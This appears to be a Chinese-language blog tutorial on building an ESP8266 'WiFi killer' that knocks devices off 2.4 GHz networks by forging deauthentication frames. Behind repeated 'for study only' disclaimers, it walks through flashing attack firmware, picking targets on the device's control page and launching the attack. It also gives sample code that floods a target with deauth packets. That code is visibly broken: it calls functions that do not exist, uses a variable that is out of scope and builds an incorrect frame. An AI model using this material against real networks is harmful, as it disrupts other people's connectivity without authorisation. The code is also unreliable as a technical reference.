重要的事情说三遍:本篇文章及涉及内容仅供学习!!!严禁进行非法活动!!!
重要的事情说三遍:本篇文章及涉及内容仅供学习!!!严禁进行非法活动!!!
重要的事情说三遍:本篇文章及涉及内容仅供学习!!!严禁进行非法活动!!!
一、WIFI杀手简介
WiFi杀手,也称为WiFi干扰器或WiFi断开器,是一种设备,它能够干扰或断开其他设备与WiFi网络的连接,即造成所谓地断网(2.4G)。这种设备通常基于ESP8266模块,因为ESP8266是一款低成本、易于编程的WiFi芯片,非常适合用于DIY项目。其工作原理是利用WiFi协议中的某些特性来干扰网络连接。例如,它可以通过发送去认证帧(deauthentication frames)来断开连接。这些帧是未加密的,因此攻击者可以伪造它们来强制客户端设备与接入点断开连接。
二、详细原理
WiFi杀手的工作原理主要基于802.11无线网络协议中的某些特性。这些特性包括去认证帧(deauthentication frames)和去关联帧(disassociation frames),它们通常用于从无线网络中安全地断开客户端设备。由于这些帧是未加密的,攻击者可以伪造它们来强制客户端设备与接入点断开连接。
具体来说,WiFi杀手设备通过以下步骤实现其功能:
-
创建接入点:WiFi杀手设备首先创建一个WiFi网络,通常命名为“pwned”或类似名称。
-
连接到目标网络:用户需要将WiFi杀手设备连接到目标WiFi网络,以便获取网络的MAC地址和频道信息。
-
发送去认证帧:WiFi杀手设备会发送去认证帧到目标网络的接入点和客户端设备。这些帧会导致客户端设备与接入点断开连接,从而实现WiFi干扰的目的。
-
干扰其他设备:通过不断发送去认证帧,WiFi杀手可以持续干扰其他设备的WiFi连接,使其无法正常访问网络。
此外,一些WiFi杀手设备还具备更高级的功能,如创建钓鱼WiFi网络或执行其他类型的攻击。这些设备通常可以通过一个用户界面进行配置和控制,用户可以指定要攻击的网络,并选择不同的攻击模式。
值得注意的是,虽然WiFi杀手可以用于合法的网络安全测试,但其使用应始终遵守法律法规,并确保不侵犯他人的网络安全和隐私。在公共场合使用时,需要格外小心,以免对周围设备造成不必要的干扰。
在制作和使用WiFi杀手时,还应考虑到可能的防御措施。例如,使用WPA3加密,定期更新固件和软件以修复安全漏洞,以及使用VPN服务来加密网络流量,都是有效的防御手段。
三、DIY教程
1.材料准备
- ESP8266模块:这是项目的核心,可以从网上购买,如nodemcu模块。
- USB数据线:用于将ESP8266模块与电脑连接。
- 电脑:用于烧录固件和配置ESP8266模块。
2.安装驱动程序
如果你的ESP8266模块使用的是CH340或CP2102等串口芯片,需要先安装相应的驱动程序。
- 下载固件:可以从网上找到WiFi Killer固件(可见文末链接)
- 烧录工具:使用ESP8266Flasher或其他烧录工具。
- 烧录过程:
- 将ESP8266模块通过USB数据线连接到电脑。
- 打开烧录工具,选择正确的COM端口和固件文件。
- 点击烧录按钮,等待烧录完成。
3.配置ESP8266
- 连接到ESP8266:烧录完成后,ESP8266模块会创建一个名为“pwned”或类似名称的WiFi网络。
- 访问管理页面:使用电脑或手机连接到这个新创建的WiFi网络,并通过浏览器访问ESP8266的IP地址(通常是192.168.4.1)。
- 配置攻击目标:在ESP8266的管理页面,可以选择要攻击的WiFi网络,并执行断开连接等操作。
4.使用WiFi杀手
- 选择攻击模式:在管理页面,可以选择不同的攻击模式,如发送去认证帧来断开连接。
- 执行攻击:点击相应的按钮开始攻击,ESP8266模块将开始发送去认证帧,干扰其他设备的WiFi连接。
5.注意事项
- 合法性:在进行任何操作之前,确保你有合法的理由和授权。
- 道德责任:不得用于非法侵入他人网络或窃取信息。
- 安全性:在公共场合使用时需要格外小心,以免对周围设备造成不必要的干扰。
四、核心代码讲解
创建一个WiFi杀手的核心代码通常涉及到发送去认证帧(deauthentication frames)来断开其他设备与WiFi网络的连接。以下是一个基于ESP8266的简单示例代码,这段代码使用了ESP8266的WiFi库来发送去认证帧。
#include <ESP8266WiFi.h>
// 目标网络的SSID和密码
const char* ssid = "TargetNetworkSSID";
const char* password = "TargetNetworkPassword";
// 目标网络的BSSID(MAC地址)
const uint8_t bssid[6] = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55};
// 发送去认证帧的函数
void sendDeauthPacket(uint8_t *targetMac) {
// 创建一个去认证帧
uint8_t deauthFrame[28] = {
0xB0, 0xDD, // Frame Control (Deauthentication)
0x00, 0x00, // Duration
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], // Destination MAC (BSSID)
targetMac[0], targetMac[1], targetMac[2], targetMac[3], targetMac[4], targetMac[5], // Source MAC (Your MAC)
bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], // BSSID
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Sequence Control
0xC0, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // Reason Code (Deauthentication)
};
// 发送去认证帧
WiFiClass::socketSend(0, deauthFrame, sizeof(deauthFrame), 2, bssid, targetMac);
}
void setup() {
// 连接到WiFi网络
WiFi.begin(ssid, password);
while (WiFi.status() != WL_CONNECTED) {
delay(500);
Serial.print(".");
}
Serial.println("Connected to WiFi");
// 获取目标网络的BSSID
struct bss_info bss;
WiFi.promiscuousOn();
WiFi.softAPmacAddress(bss);
WiFi.promiscuousOff();
// 获取目标网络的BSSID
uint8_t targetMac[6] = {bss.BSSID[0], bss.BSSID[1], bss.BSSID[2], bss.BSSID[3], bss.BSSID[4], bss.BSSID[5]};
// 发送去认证帧
sendDeauthPacket(targetMac);
}
void loop() {
// 保持发送去认证帧
sendDeauthPacket(targetMac);
delay(1000); // 每秒发送一次
}
代码说明:
- 连接到WiFi网络:使用
WiFi.begin(ssid, password)
连接到目标网络。 - 获取BSSID:通过
WiFi.promiscuousOn()
和WiFi.softAPmacAddress(bss)
获取目标网络的BSSID。 - 发送去认证帧:定义
sendDeauthPacket
函数来发送去认证帧,该帧包含目标MAC地址和BSSID。 - 循环发送:在
loop
函数中不断发送去认证帧,以保持干扰效果。
五、开源代码链接
重要的事情再次强调:本篇文章及涉及内容仅供学习!!!严禁进行非法活动!!!
重要的事情再次强调:本篇文章及涉及内容仅供学习!!!严禁进行非法活动!!!
重要的事情再次强调:本篇文章及涉及内容仅供学习!!!严禁进行非法活动!!!